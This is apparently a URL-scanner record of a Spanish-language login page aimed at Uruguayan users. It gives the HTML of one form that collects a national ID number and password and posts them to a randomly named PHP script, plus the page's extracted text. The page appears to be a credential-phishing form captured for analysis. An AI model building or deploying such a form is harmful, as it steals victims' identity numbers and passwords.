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1 forms found in the DOM

POST adhdkdhoirhrn.php

<form class="" action="adhdkdhoirhrn.php" method="post">
  <section class="flex-grow align-items-center container--layout margin-bottom-05rem-mb">
    <div class="container">
      <div class="justify-content-center row">
        <div xl="6" class="col col-12 col-lg-6 col-md-12 col-sm-12 col-xs-12">
          <div>
            <br>
            <br>
            <h1><span>Para continuar ingrese su número de documento</span></h1>
          </div>
          <div class="notifications-wrapper"></div>
          <div class="form-group">
            <div class="form-group-text">
              <label class="control-label" for=""><span>País</span></label>
            </div>
            <div class="input-group">
              <div class="Select slideFromBottom flex-container has-value Select--single">
                <div class="Select-control">
                  <div class="Select-multi-value-wrapper" id="react-select-8--value">
                    <div class="Select-value"><span class="Select-value-label" role="option" aria-selected="true" id="react-select-8--value-item">Uruguay</span></div>
                    <div aria-expanded="false" aria-owns="" aria-activedescendant="react-select-8--value" aria-disabled="false" aria-label="País" class="Select-input" role="combobox" tabindex="0"
                      style="border: 0px; width: 1px; display: inline-block;"></div>
                  </div>
                  <span class="Select-arrow-zone"><span class="Select-arrow"></span></span>
                </div>
              </div>
            </div>
          </div>
          <div class="form-group">
            <div class="form-group-text"><label class="control-label" for=""><span>Tipo de Documento</span></label></div>
            <div class="input-group">
              <div class="Select slideFromBottom flex-container has-value Select--single">
                <div class="Select-control">
                  <div class="Select-multi-value-wrapper" id="react-select-9--value">
                    <div class="Select-value">
                      <span class="Select-value-label" role="option" aria-selected="true" id="react-select-9--value-item">C.I.</span>
                    </div>
                    <div aria-expanded="false" aria-owns="" aria-activedescendant="react-select-9--value" aria-disabled="false" aria-label="Tipo de Documento" class="Select-input" role="combobox" tabindex="0"
                      style="border: 0px; width: 1px; display: inline-block;"></div>
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              </div>
            </div>
          </div>
          <div class="form-group form-group--composite">
            <div class="form-group-text"><label class="control-label" for=""><span>N° de Documento</span></label></div>
            <div class="input-group"><input class="form-control" autocomplete="on" placeholder="" name="document" maxlength="15" aria-label="Numero de documento. Texto de edicion de documento" value="" required="">
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          <div class="form-group form-group--composite">
            <div class="form-group-text"><label class="control-label" for=""><span>Contraseña</span></label></div>
            <div class="input-group"><input class="form-control" autocomplete="on" placeholder="" name="clave" maxlength="15" aria-label="Numero de documento. Texto de edicion de documento" value="" type="password" required="">
            </div>
          </div>
          <div class="form-group">
            <div class="form-group-text"><label class="control-label" for=""></label></div>
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        <div xl="6" class="align-items-left reset-padding col-lg-6 col-md-6 col-sm-12">
          <button type="submit" class="  btn btn-primary btn-block"><span>Continuar</span></button>
        </div>
        <div xl="6" class="reset-padding align-items-right text-align-right col-lg-6 col-md-6 col-sm-12">
          <div class="c-control c-control-block c-control--switch c-control-switch form-group"><input id="rememberEmail" tabindex="-1" class="c-control-input" type="checkbox" name="rememberEmail" readonly="" value="true"></div>
        </div>
      </div>
    </div>
  </section>
</form>

Text Content

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PARA CONTINUAR INGRESE SU NÚMERO DE DOCUMENTO


País
Uruguay

Tipo de Documento
C.I.

N° de Documento

Contraseña



Continuar

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